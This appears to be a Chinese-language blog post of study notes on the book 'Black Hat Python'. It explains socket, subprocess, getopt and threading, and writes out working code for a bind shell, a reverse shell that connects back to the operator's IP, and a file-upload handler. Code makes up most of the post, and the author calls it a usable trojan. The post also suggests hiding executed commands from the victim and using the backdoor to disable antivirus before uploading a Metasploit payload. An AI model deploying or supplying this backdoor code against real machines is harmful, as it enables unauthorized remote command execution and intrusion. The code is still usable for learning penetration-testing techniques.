读书笔记:Python黑帽子 黑客与渗透测试编程之道
首先向大家推荐一下我所看的这本书
颜值还不错吧,200页不到,但是干货满满。
像我,基本没有 python 基础(只在 w3school 看过一点点语法,能看懂一点点别人的代码,自己完全不会写的那种),但是我现在能写下这篇文章已经很不错了,而且我也就才翻了20来页
当然咯,代码bug很多,但是木马还勉强能用(大神们请留步,麻烦指点一二 /抱拳)
最后还有一句,python 木马局限性大,毕竟一般人不会在自己电脑上装个 python 环境吧,按原书作者的话来说:
如果你进入目标企业的内网,没有任何工具进行攻击,甚至没法安装编译器。然而在很多情况下(我没进去过,不知道是不是很多情况,但作者说是肯定就是了 /滑稽),你会 惊讶 的发现目标安装了python(惊讶可能来自于不会用 /滑稽x2)
所以嗅着搞事情气息而来的人可以打消这个念头了。当然,我这三脚猫的代码能用来搞事,我也是十分荣幸了,哈哈哈
好吧,那就开始正文了
嗯。。。不对,还有一句😹😹,此书不介绍爬虫,只讲工具编写,而且很多还是到处可以下载的工具,比如我现在在看的是一个简单的 netcat 代替工具
正向连接
在目标主机下保存如下 python 文件并运行(中间注释那段有点鸡肋,只是尝试一下新东西)
import socket
import sys
import getopt
import subprocess
import threading
bind_ip = '0.0.0.0'
bind_port = 8888
#try:
# opts,args = getopt.getopt(sys.argv[1:],"t:p:",["target=","port="])
#except getopt.GetoptError as err:
# print(str(err))
#for o,a in opts:
# if o in ('-t','--target'):
# bind_ip = a
# elif o in ('-p','--port'):
# bind_port = int(a)
# else:
# assert False,'[*] Error Options'
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
def run_command(client):
while True:
cmd = ''
while '\n' not in cmd:
cmd = client.recv(1024).decode()
#print(cmd) #方便测试,删了好,不能让别人知道你执行了什么命令
try:
output = subprocess.check_output(cmd,stderr=subprocess.STDOUT,shell=True)
except:
output = b"[*] Failed to execute command.\r\n"
client.send(output)
client,addr = server.accept()
client_thread = threading.Thread(target=run_command,args=(client,))
client_thread.start()
本地运行
import socket
import getopt
import sys
def usage():
usage_info = '''\r\n\r\n\r\n\r\n
***************************************************
* Salute to Justin Seitz *
***************************************************
Example:
python3 client.py -t target_ip -p 80
or
python3 client.py --target=target_ip --port=80
'''
print(usage_info)
sys.exit()
if not len(sys.argv[1:]):
usage()
try:
opts,args = getopt.getopt(sys.argv[1:],'t:p:',['target=','port='])
except getopt.GetoptError as err:
print(str(err))
usage()
for a,o in opts:
if a in ('-t','--target'):
target = o
elif a in ('-p','--port'):
port = int(o)
else:
assert False, '[*] Unhandled option'
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((target,port))
while True:
print('<cmd:#')
cmd = input()
client.send(cmd.encode())
response = client.recv(1024)
print(response.decode())
暂时发现的问题:
- 命令结束只能用一个 回车,不然会阻塞
- 执行 useradd 可以成功,但是会阻塞
主要是阻塞的问题吧,一个不小心就死了,怪难受的
好像用处并不大,唯一的好处就是不那么容易被查杀,或许可以利用这个关闭杀软,然后传个 msf 的木马。好了,怎么利用就不讨论了,来说说程序
- socket 模块
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
意思是建立 TCP 连接,在 bind_ip:bind_port 上开启监听。其中 socket.AF_INET 代表使用标准的 IPv4 地址或主机名,SOCK.STREAM 说明使用 TCP ,UDP用 SOCK.DGRAM
client.connect((target,port))
主动与 target:port 建立连接,应该是完成三次握手的过程
client.send(bytes_data)
bytes_data = client.recv(1024)
一个发送数据,一个接受数据,注意是 bytes 不是 str
- subprocess 模块
output = subprocess.check_output(cmd,stderr=subprocess.STDOUT,shell=True)
这个我还不是很懂,是用来将 string 型的变量 cmd 作为命令执行,之所以强调是 string 型的是因为传入的数据是 bytes 型的,如果用的 python3 就需要转码,不然就不能正确执行命令
其中 shell=True 看大佬们的解释是,有了该参数才能执行多个字符串的命令,我是了一下如果没有 shell=True 的话,“ls /” 就执行出错了
-
sys 模块
听说是和 os 模块一样,常用的一个模块,功能强大。在这里,我们主要用来获取传入的参数,如 argv[1:] 获取第一个参数后面的参数
讲不太清,直接贴图了 -
getopt 模块
try:
opts,args = getopt.getopt(sys.argv[1:],'t:p:',['target=','port='])
except getopt.GetoptError as err:
print(str(err))
‘t:p:’ 是短选项,如上图 使用 -p 80 正确获取参数,后面是长选项 使用 --port=80 ,短选项的冒号和长选项的等于号表示该选项后面有参数,不然 -p 80 中的 80 也会被作为选项,导致出错
- threading 模块
client_thread = threading.Thread(target=run_command,args=(client,))
client_thread.start()
这也是我不太懂的一个,这个呢。。主要是 进程 我不懂,计网教没教我都忘了,操作系统好像讲了,本来理论课就不喜欢听,还刚好赶上这学期上网课,更加听不进去了 /流下了不学无术的眼泪。
这模块逻辑还简单,给 run_command 函数创建一个进程,传入参数 args(注意是数组,虽然只有一个参数,但是后面的逗号不能少),然后开启进程
运行效果
反向连接
和正向基本类似,只不过让对方找你连接,适合你公网搞人家内网
先在自己主机上开启监听
import socket
bind_ip = '0.0.0.0'
bind_port = 8888
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
client,addr = server.accept()
print('[*] Listening in %s:%d' % (addr[0],addr[1])) #0是IP,1是端口
while True:
cmd = input()
client.send(cmd.encode())
re = client.recv(1024)
print(re.decode())
然后在对方主机运行
import socket
import subprocess
ip = 'target_ip' #你的IP地址
port = 8888
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.connect((ip,port))
while True:
response = server.recv(1024)
try:
output = subprocess.check_output(response.decode(),stderr=subprocess.STDOUT,shell=True)
except:
output = b'[*] Failed to execute command\r\n'
server.send(output)
同样的代码,同样的毛病。。。汗
我就不啰嗦了
最后附上原书文件上传的代码
#读取所有的字符并写下目标
file_buffer = ''
#持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
#现在我们接收这些数据并将它们写出来
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#确认文件已经写出来
client_socket.send("Successfully saved file to%s\r\n" % upload_destination)
except:
client_socket.send("Failed saved file to%s\r\n" % upload_destination)
我现在最头疼的就是那个 回车后阻塞 的问题了,麻烦路过的大佬指点一二